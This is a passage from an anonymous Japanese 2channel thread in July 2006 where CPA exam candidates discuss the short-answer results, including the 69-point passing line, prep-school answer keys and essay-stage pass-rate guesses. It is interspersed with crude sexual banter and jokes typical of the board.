アカスクったってやってることは学部みたいなグダグダ講義だよ
司法試験だってロースクは受験資格ゲットのために行くけど
実際の実力は予備校で培ってるわけだし

363 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 10:13:47 ID:???
ゆるい試験になって会計士ブランドが安っぽくなりそうで不安だ。

364 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 10:13:54 ID:???
>>346
よかったな、新試験で。旧試験ならボーダー74で落ちてたぞ。

365 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 10:14:05 ID:???
65で4500人とか馬鹿な説あったな

366 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 10:14:12 ID:???
>>349
69はどうせ受からんよ。
きれいな分布のために必要なだけ。

367 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 10:14:36 ID:???
とりあえず、美保ちゃんでオナニーして寝よう。

368 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 10:14:39 ID:???
これでも論文合格者1500人なのか?
会計士補除いても2000人出してもいくない?
そうすれば平成30年までに5万にくらいになるだろ。

369 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 10:14:45 ID:???
>>359
俺も似たようなところあるけどなんか辞めちゃうのはもったいないな・・・

370 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 10:15:00 ID:???
>>359
舐めてかかるくらいがちょうどいい

と。メモメモ。

371 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 10:15:07 ID:???
>>336
うおっ!!事実だ!!

372 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 10:15:51 ID:???
>>371
うおっまぶし!!

373 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 10:15:51 ID:???
ただ2日に分け100問にしたことで実力者のポカはほとんど無くなったな
入門もかなり受かったろうね


374 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 10:16:03 ID:???
1点に400〜500人としたら3500人は72〜74か

375 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 10:16:54 ID:???
なんか年齢別合格者とかは見られたけど、
合格者の受験番号ってどこでみられるか教えてください。

376 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 10:17:06 ID:???
>>363
じゃあこれから俺たちが頑張らなきゃな、とマジレス。

377 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 10:17:13 ID:???
>>375
下の方

378 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 10:17:37 ID:???
レックの監査14がサプライズがあったなこれで70だからたすかった

379 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 10:17:54 ID:???
>>359
そうかー。俺はまだ2回目だけど、それでも回数重ねると当日緊張するのってわかるわ。
去年の論文、原計でぶっとんで落ちてしまったから、今年の短答の管理会計の前緊張して自分で顔引きつってるのわかったもんな。


380 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 10:18:01 ID:???
ためし受験を除くと合格率50%くらいだろ。

381 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 10:18:10 ID:???
おまえら今日もがっつり勉強すんの?

382 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 10:18:30 ID:???
監査19も1だったんだな。
試験委員て俺らが思ってるほど細かいところ気にしてないんだね。

383 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 10:18:44 ID:???
>>381
するに決まってる

384 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 10:19:15 ID:???
>>381
昼からTAC
経営って何やりゃあいいの?

385 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 10:19:30 ID:???
何か89とかでいきまいてた奴は煽った時間分勉強すればよかったと後悔してるだろうな。

386 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 10:19:32 ID:???
>>382
所詮彼らは「受験」のプロではないからね。


387 :一般に公正妥当と認められた名無しさん :2006/07/05(水) 10:20:21 ID:???
TACは来年から解答アップするのやめろよ

388 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 10:20:34 ID:???
別に短答のボーダーが低かろうと、会計士は論文式で選抜されるべきものである
以上、質の低下がどうのこうのといった議論は意味がないだろう?
ていうか、そもそも日本の会計士試験が会計士としての資質がある者を選抜する
尺度として真っ当かどうか甚だ疑わしい。
簿記の細かい処理なんか知らなくていいから、せめて大学受験レベルの英語くらい
できるやつが欲しいね。
「金額」ってのを英語で言えない会計士補なんてザラだよ。

389 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 10:20:59 ID:3Qb+FZjP
>>381今マンガ喫茶個室でAV鑑賞中。

390 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 10:21:06 ID:???
おまえらお勧めのAV女優教えて

391 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 10:21:26 ID:???
tacの解答は確かに有害だけど
きっと短答式試験の華なんだろう

392 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 10:21:27 ID:???
つーかTACの短答式解凍速報使えないから
他からとりよせよっと

393 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 10:21:35 ID:???
古都ひかる

394 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 10:21:59 ID:???
>>377
たびたびごめんなさい。
どこの下のほうですか?
ほんとにわかりません。

395 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 10:22:14 ID:???
ICOとかいってマジなめてるw

396 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 10:22:33 ID:???
てかTAC72点でA判定って的中してるなw。3問間違ってたわけだし。

397 :一般に公正妥当と認められた名無しさん :2006/07/05(水) 10:22:41 ID:???
>>388
同意。英語力重視で早稲田政経を優先的に採用するらしいね

398 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 10:22:51 ID:???
>>393
それもって>>389のとこ行くわ

399 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 10:22:53 ID:RVir76N0
小川あさ美

400 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 10:23:15 ID:???
ICOだっけか三日で論文網羅みたいなやつ
誰か効果を教えてくれ
あとそこの簿記講師は恥を知れよ

401 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 10:23:16 ID:???
ドザワロスwww

402 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 10:23:50 ID:???
2chボーダー73、74も去年ベースで考えたらイイ線行ってたんだよな

403 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 10:23:58 ID:???
麻美ゆま

404 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 10:24:28 ID:???
>>399
>>403
三きゅ

405 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 10:24:36 ID:???
今回でわかったTACはうんこ

406 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 10:24:49 ID:3Qb+FZjP
>>390 南波杏(なんばあん)加藤あい似アナルも余裕でこなす。

407 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 10:24:57 ID:???
>>400
ICOにひっかかったら落ちるぞ

408 :一般に公正妥当と認められた名無しさん :2006/07/05(水) 10:25:07 ID:???
入門生の69って80超のべテにとっても脅威になりそうだな、来年以降は

409 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 10:25:20 ID:???
>>406
阿藤快は大好物だ

410 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 10:25:47 ID:???
>>390
美波さらの騎乗位はやばい。

411 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 10:25:48 ID:???
黒木香

412 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 10:25:50 ID:???
おーい運命共同体の大原採点74のひとーーよかたーよ うかてたーよ

多数派採点で74だた

413 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 10:25:57 ID:???
とりあえず12時まで寝るわ。
昨日から生活リズムが。。。
ちなみに受かってました。
てか落ちたって声ぜんぜん聴かないな。

414 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 10:26:57 ID:???
短答さらば〜

415 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 10:27:15 ID:???
>>410
みてみる。

お礼といっちゃあなんですが、
PEACH PIE 高井桃は名作です。

416 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 10:27:36 ID:???
>>317じゃないけど俺もどうするかな
一年目短答落ち
二年目論文落ち(C判定)
三年目論文落ち(A判定)
四年目短答落ち(66点)

俺のピークは三年目だったか・・・
撤退するのは自分に負けたみたいで悔しいんだがやる気が全く湧いて来ない・・・

417 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 10:27:45 ID:???
>>413
落ちてる人は落ち込んでますから。

418 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 10:27:45 ID:???
大原採点70でギリだった訳か

419 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 10:27:47 ID:???
AVスレになりつつあるw

ティナたん

420 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 10:27:56 ID:0n3weCf0
ボーダー何点?


421 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 10:28:01 ID:???
もし最初から5000人合格って決めてたのなら、
70点前後でちょうど5000人にもってきた試験委員はたいしたもんだ。

422 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 10:28:09 ID:???
免除価値なし

423 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 10:28:11 ID:???
>>412
おぉ!おめでとう!
監査14のサプライズがあったから、+1で75だったよ。
お互い論文一括合格目指して頑張ろうぜ!



424 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 10:28:26 ID:???
無職の合格率が41%近いんだな

425 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 10:28:32 ID:jnb7mHH3
69点の友達がドイツに行ったままだw
受かってたのにw

それにしても2chはほんと精度高いよな。
結論が「60点代は絶対にない、ボーダーは72」だったもんね。
実際のボーダーは3点低いんだから例年通りの確度。

426 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 10:28:34 ID:???
あさからキモチわるかった やっとおさまった

427 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 10:29:00 ID:???
>>425
昨日そんな書き込みあったなw

428 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 10:29:02 ID:???
>>416
長期化すると短刀すら受からなくなるんだな
知識のストックは多いはずなのに・・・

いまさら就活する気力はあるのか?

429 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 10:29:23 ID:???
>>423
そっちもおめでとう!!
うん今年一括だ

430 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 10:30:03 ID:???
短答も郵便で合格通知くるの?


431 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 10:30:04 ID:???
>>423
あ 途中で送信しちゃった
おお1点増えたか
気合いれてがんばろう!

432 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 10:30:33 ID:yQh2FMB9
>>424
というか無職で60%落ちてることの方が・・・

433 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 10:30:37 ID:???
来年短答初受験の人の気持ちを考えてみようぜ



434 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 10:30:39 ID:???
多数派で73だったけど、監査14で72に。
危なかったんだな

435 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 10:30:46 ID:???
>>430
去年までは来てたから来るんじゃね

436 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 10:30:54 ID:???
清水大敬

437 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 10:31:10 ID:3Qb+FZjP
今年論文1500人受かると来年担当11000→1500?


438 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 10:31:26 ID:???
加藤鷹

439 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 10:31:32 ID:???
>>432
そう考えると結構ヤバイ試験なんだね

440 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 10:31:39 ID:???
短答の合格通知って、ものすごく安っぽいよな。
てか、字が小さすぎ。

441 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 10:31:43 ID:???
監査の権威・ホリエモンが2問も外す問題出すなよな。

442 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 10:31:44 ID:???
>>437
普通に考えたら来年の短答合格者は減るでしょ。

443 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 10:31:48 ID:???
>>435
さんくす!


444 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 10:31:49 ID:???
論文1万人かー
1年目からえらい増やしてきたな

445 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 10:32:12 ID:???
加藤鷹の出てるAVだけはどうしても見る気になれない

446 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 10:32:51 ID:???
ではここで一言。

スタペリサーチ平均74点

447 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 10:33:06 ID:mijwDRpS
前向きに考えて論文合格者が増加すると考えたほうがいいよ。

とにかく受かってうれしい。

448 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 10:33:28 ID:???
論文で相当償却しなきゃ、来年以降の論文地獄だな。
士補が消えることを加味すればそうでもないのか??

449 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 10:34:31 ID:???
>>448
だーかーらー相当償却するんだってば






って言わせて安心したいんだろ?

450 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 10:34:35 ID:???
リフレッシュしたいからピンサロ逝くわ
雨割引だし

451 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 10:34:37 ID:???
TAC死亡びち完勝か…びち糞の高笑いが今から楽しみだな
しかしさすがに5000は多すぎだろ、自習室混みまくりは嫌だ

452 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 10:34:54 ID:???
>>415
探してみるわ。サンクス。

453 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 10:35:16 ID:???
この調子で論文合格者も2000人くらいいってほしい

454 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 10:35:30 ID:???
まあ論文の難しさが大きく上がっただけで
試験全体の難しさはそんなに変わらないんだけどね

455 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 10:35:37 ID:???
416じゃないですが、受験暦さらします。
自分の受験暦
1回目 短答式:36点(合格)、論文式:不合格(Bランク)
2回目 短答式:34点(合格)、論文式:不合格(Aランク)
3回目 短答式:80点(合格)、論文式:合格予定

こんな感じです。短答80点は勘で4,5問あてたので実力は75点あたりです。
論文は原則一括合格、最低でも会計学TU、企業法、経営学の得意3科目で科目合格が目標です。
眠いので今から13時まで寝て、マックで昼食後早速自習室に行こうと思っています。

456 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 10:35:53 ID:???
絶対バカスクにあわせただけだよ!!
バカスク生勉強しろよまじ。

457 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 10:36:00 ID:???
>>450
俺も逝ってくるわ
今なら早朝割引だし

458 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 10:37:09 ID:6gwvpD3y
びち太郎に、栄光あれーーーー!!

459 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 10:37:25 ID:???
北陸の合格率の高さにびびった

460 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 10:38:15 ID:???
質を維持するっつーから多分最終合格率8%〜10%ぐらいだと
思うんだけど
この率って志保ふくめた20000人にかけるの?
それとも短答受験者16000人?
ここらへんがよくわからん
志保は別にしてくれないと

461 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 10:38:51 ID:???
アカスクの奴らは論文試験もピンポイントで勉強してきそうでいやだ
短答が企業法だけってピンポイントすぎだろ


462 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 10:39:38 ID:???
>>460
志保は別だろ。でないと異常に合格率高くならね?

463 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 10:39:43 ID:???
まあ金融庁のボーダーに2ちゃんが勝てばそれでいいんだよな。

464 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 10:39:48 ID:qbZacz1W
30%×40%=最終12%ぐらいが現実的かと。

465 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 10:39:54 ID:???
今年の論文発表はアクセス集中が激しくなるな。

466 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 10:40:03 ID:jnb7mHH3
ねえねえ、
みんなスルーしてるけどさ、
ここ数日ボーダー66点で暴れていたやつに対して、
ボーダーは72点がリサーチなどから考えても客観的、精度が高いとかいってみんなで攻撃してたじゃん?

結局ボーダー69だったんだから、
客観的にみてどっちもおバカさんたちだったって事だよね?
すげーウケる。

467 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 10:40:27 ID:???
どうでもいいが女の合格者826人って少ないな

468 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 10:40:36 ID:???
>>460
しほのの人は監査論って全く同じ勉強してんだろうか
それとも実務問題でまくりだろうか

469 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 10:41:48 ID:???
>>468
はった氏は実務より理論がすきらしい。

470 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 10:41:58 ID:???
ま、通過者5000人x0.3の1500人でしょうね
0.3x0.3の9%で率維持と

471 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 10:42:13 ID:???
タックベースで70・71はほとんどやられたんじゃ寝ーの?


472 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 10:42:34 ID:???
>>466
人数が増えればボーダーは下がるさ
例年の3500人だったら普通に73くらいだったんじゃないの?

473 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 10:42:53 ID:???
>>469
てことは俺ら不利でもないんだね
シホの人は今更と思ってるわけか

474 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 10:43:32 ID:???
tacはもう終わりだね

475 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 10:43:41 ID:???
例年は3200超だからな
去年の3500はちょっと多かった

476 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 10:44:22 ID:???
つうか大原の短答合格者割引の行方は

477 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 10:44:24 ID:jnb7mHH3
>>472
例年通りとか関係ないでしょ。
どちらも仲良く3点の誤差w

478 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 10:44:29 ID:???
一括5000×30%=1500人
各科目5000×10%=500人
くらいと見た。

479 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 10:45:23 ID:???
今回で5年連続短答落ちの友人がいるんだが…
強制撤退させるべきだよね?

480 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 10:45:46 ID:???
依然として7割は撃墜されてんだけど
やたら簡単な印象だな



481 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 10:46:22 ID:???
>>479
9回連続短答落ちとかもいるからほっとくがよろし

482 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 10:46:23 ID:???
なんだただ単に煽りたいだけか、つまらん
でも実際に3000〜3500人の合格者だったらボーダーどうだったんだろうね?
年齢とかどうでもいいから点数の分布を開示しろよ

483 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 10:46:39 ID:???
短答の点数と論文合格の相関関係ってやっぱあんの?
ギリギリ合格者はやっぱ論文通過率低いかな?

484 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 10:46:52 ID:???
士補もいっしょにするなら合格基準もいっしょにしてほしい。
つまり下駄なく科目合格扱とするか、8.5%に含めないで欲しい。

485 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 10:47:36 ID:???
2chまで来てかつ毎日専門とかでガリガリ勉強してる人の中
の合格率は7割くらいだろ

486 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 10:47:37 ID:???
>>479
10年かかって合格した人もいるんだからまだわからんよ。

487 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 10:47:52 ID:???
監査は実務満載だろ。
そうじゃなきゃ2回も同じ試験受けさせないよ。
志穂の友人も実務問題ならそんな対策しなくても大丈夫みたいなこと言ってたし。
まあ所詮志穂とか対等に張り合わんほうがいいようだ。

488 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 10:48:53 ID:???
>>487
野坂と正反対のこと言うんだね

489 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 10:49:03 ID:???
監査の実務とかどうやって対策すんの?
監査調書でも作らせられるわけ?

490 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 10:49:19 ID:???
改正論点バリバリとかそういう発想じゃないのか
志穂さんたちって受験用の知識をあぷとーでーとしてるのかね

491 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 10:49:21 ID:???
論文合格者3000人とか来ないかな

492 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 10:49:44 ID:???
なら俺らの監査論の勉強は短答のためにあったというわけか
もう簿記とか完全にそうなんだろうけど

493 :633:2006/07/05(水) 10:50:42 ID:???
志保いれて20000人の8.5%で1700人合格。
それでも論文の合格率34%だから、去年と変わらないのか…。
おととし受験組は勝ち組だな。

494 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 10:50:49 ID:???
簿記はCFと外貨連結でおkかな?

495 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 10:51:05 ID:???
なーななななななーなななーななななーなーななななななーなななーななななー なーなななな
なーななななななーなななーななななーなーななななななーなななーななななー なーなななな
なーななななななーなななーななななーなーななななななーなななーななななー なーなななな
うぉーうぉうぉうぉうぉうぉうぉーうぉうぉうぉーうぉうぉうぉうぉうぉうぉーうぉうぉうぉーうぉうぉうぉ
うぉーうぉうぉうぉうぉうぉうぉーうぉうぉうぉーうぉうぉうぉうぉうぉうぉーうぉうぉうぉーうぉうぉうぉ
うぉーうぉうぉうぉうぉうぉうぉーうぉ/ ̄ ̄ ̄ ̄ ̄ ̄ ̄\ぉーうぉうぉうぉうぉうぉうぉーうぉうぉ
\ぉーうぉうぉうぉうぉうぉうぉーう|  うるさい黙れ   | ーうぉうぉうぉうぉうぉうぉーうぉ /
   ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄\_______/ ̄ ̄∨ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
                           ∨      (゚д゚ )
                          <⌒/ヽ-、__ノヽノ |
                        /<_/____/ < <

496 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 10:51:53 ID:???
なんか就職難の気配がするんだが・・

497 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 10:52:10 ID:???
来年は絶対短トウやばいだろ

今年絶対取りすぎだよ

498 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 10:52:37 ID:???
>>496
就職難ではないだろうけど、
給料ベースは普通にそこらの企業とかわらんだろうな

499 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 10:52:40 ID:???
俺の連れは短答で連結がほとんど出なかったことを熱心に
語ってきた  まあ沢山出ても間違いなく出るんだろうけど

あとは融合問題しだい

500 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 10:52:44 ID:???
何が嬉しいって短答用の瑣末な知識を全て捨てられるのが嬉しくてたまらん!
絶対的商行為とかもうぜーんぶ忘れたぞ

501 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 10:52:55 ID:???
よっしゃー俺の嫌いな奴短答落ちてた。
うほp

502 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 10:53:41 ID:???
論文一括合格は1500人くらいだろうね。率を30%前後にあわせてきそうだし。
全科目受験者VSアカスク製か。


503 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 10:53:48 ID:???
>>455
俺と結構似てるなw
自分の受験暦
1回目 短答式:30点(不合格)※簿記全切り
2回目 短答式:34点(合格)、論文式:不合格(Aランク)
3回目 短答式:85点(合格)、論文式:合格しないとヤバい


504 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 10:54:14 ID:???
というかPWC離脱ってホントウなんですか

505 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 10:53:26 ID:???
論文は志穂込みで2000人の模様。9500人中2000人合格だから
まあまあの競争率だわな。

506 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 10:54:46 ID:???
2chの予想が外れたのは得点分布じゃなくて
人数基準の点だろう。
2chは微増の3500人前後を想定してたと思う。
5000人でよいなら69も予想範囲に入る。

60台を主張してたやつの多くは難易度の過剰評価で
得点分布は外してる。


507 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 10:55:07 ID:???
今年の短答合格は相当大きいな

508 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 10:55:07 ID:???
>>505
シホしか受かんない結果が見え見えですね

509 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 10:55:15 ID:???
てか短答て余裕じゃん。
俺らの先輩とか短答全滅してたけど、
俺は今年1回目で合格。上がヴァカなだけだったんだな。

510 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 10:55:33 ID:3Qb+FZjP
親に受かったとメールしたら
ほんとに受かったんでしょうね?
と返ってきた。 
たしかに去年まで連敗してたけど・・・。

511 :一般に公正妥当と認められた名無しさん :2006/07/05(水) 10:55:43 ID:???
絶対に今年に合格したほうがいいよな?

512 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 10:55:58 ID:???
担当の問題集さらばー!

513 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 10:56:00 ID:???
やべえwwwビールがうますぎwwwwwww

514 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 10:56:06 ID:???
わかったこと
グダグダ言ってるよりもTACを信じて勉強しましょう、ということ。
与えられたモノをきちんとこなしていけば短答は8割いける。
俺通信でDVDを一回も見なくても紙媒体のみで余裕で8割超えた。
論文もこの方法で突入する。
はっきり言って、誰か止めてくれ

515 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 10:56:26 ID:???
TAC「どの解答も正解として可能性のある解答例です。あっ、先生方ごめんなさい。
もちろんTACの解答例が正しいですよね(笑)」

516 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 10:56:33 ID:???
多分来年の短答やばいよ。

517 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 10:57:10 ID:???
来年の短答の怖さといったらないな
あらゆる煽りにガタガタにされそう

518 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 10:57:20 ID:???
>>506
2ch多数説だった

「去年水準なら73」
「70で切ったら5千人」

はかなりイイ線いってたね

519 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 10:57:30 ID:???
あのー07受験組ですけどー
俺らは不利ってことですよね?

ずりーよー、いつ始めたかで有利不利になるなんて(泣

520 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 10:57:53 ID:???
>>515
ほんとTACの座談会はあほだよなw

521 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 10:58:21 ID:???
来年論文の繰越が尋常じゃないのは確かだわな

522 :一般に公正妥当と認められた名無しさん :2006/07/05(水) 10:58:23 ID:???
その代わり、来年の短答合格者は論文3ストライク目が著しく簡単になる

523 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 10:58:25 ID:???
今年の短答はレベル低いよな。

524 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 10:58:51 ID:???
とりあずtacの解答出して間違えた奴
やめろ

525 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 10:58:52 ID:???
おまえら冷静だな
さっきから俺一人で酒飲んで騒いでるよ
となりの部屋の奴に怒られかねん

526 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 10:58:57 ID:???
>>514
タックの問題に慣れすぎてトウレン一桁順位で
落ち続けた人が俺の講師です

527 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 10:59:12 ID:???
さてと今から手付かずの財務論やるか

528 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 10:59:15 ID:???
科目合格メイン説の現実味出てきた?

529 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 10:59:56 ID:???
いや、07以降が本来の公認会計士試験の難易度でしょ

06組がお得なだけ。

530 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 10:59:58 ID:???
さて、そろそろ1発オナって勉強再開するわ。激戦の論文で会おう!”

531 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 11:00:02 ID:???
結局、無駄に年を重ねるってことには変わりない?

あーあーあーあーあーあーあーあーあーあ

532 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 11:00:19 ID:???
給料下がるとかよく言われるけどさ、どんだけ下がろうが
この頑張って勝ちとった感じだけは人生において絶対誇れることだと思うんだな。
自分との戦いだもんな。毎日ヘド吐いて一緒に勉強してるお前らならわかるはずさね。

533 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 11:00:20 ID:3Qb+FZjP
それにしても俺たちの担当合格に将軍様が花火6連発で祝福なんて
だれが予想しただろうか?
論文合格には何を打ち上げるんだろう?

534 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 11:00:37 ID:???
短答答練1回も受けないで受かったおれは神だな

535 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 11:01:02 ID:???
こんなときMMRがいてくれたら

536 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 11:01:18 ID:???
>>533
2度とそういうこというな。

537 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 11:01:19 ID:???
つーか論文は志保は別枠だろ?

そうしないと来年、短答マジでやばくなるよ

538 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 11:01:35 ID:???
>>528
間違いないだろうな。
従来通り一括合格中心なら2年免除にする意味がないし。

539 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 11:01:46 ID:???
制度の変わり目は負担が大きいから大盤振る舞いしたんだろうな。

情報を司法試験並に公開すればそんな必要ないのだが、
監査関係者がそれを実行しないのは激しくなえる。

540 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 11:02:04 ID:???
来年短答受かるためには、今年税理士簿財とらなきゃならんな

変な話だけど、来年の短答合否は来月の簿財合否で決まると言っても過言ではない

短答落ちてしまった人は、今から1ヶ月死ぬ気で頑張れば、

そのあと10ヶ月遊んで暮らしても来年短答通るかもよ。

逆に、今から1ヶ月いじけてれば、年明けどんなに頑張っても

財会免除者が9割とる横でまたビクつくことになるかもよ。マジで。

541 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 11:02:05 ID:???
>>532
いいこと言った
俺も試験前夜に寝付けなくて泣きそうになった記憶は一生忘れない

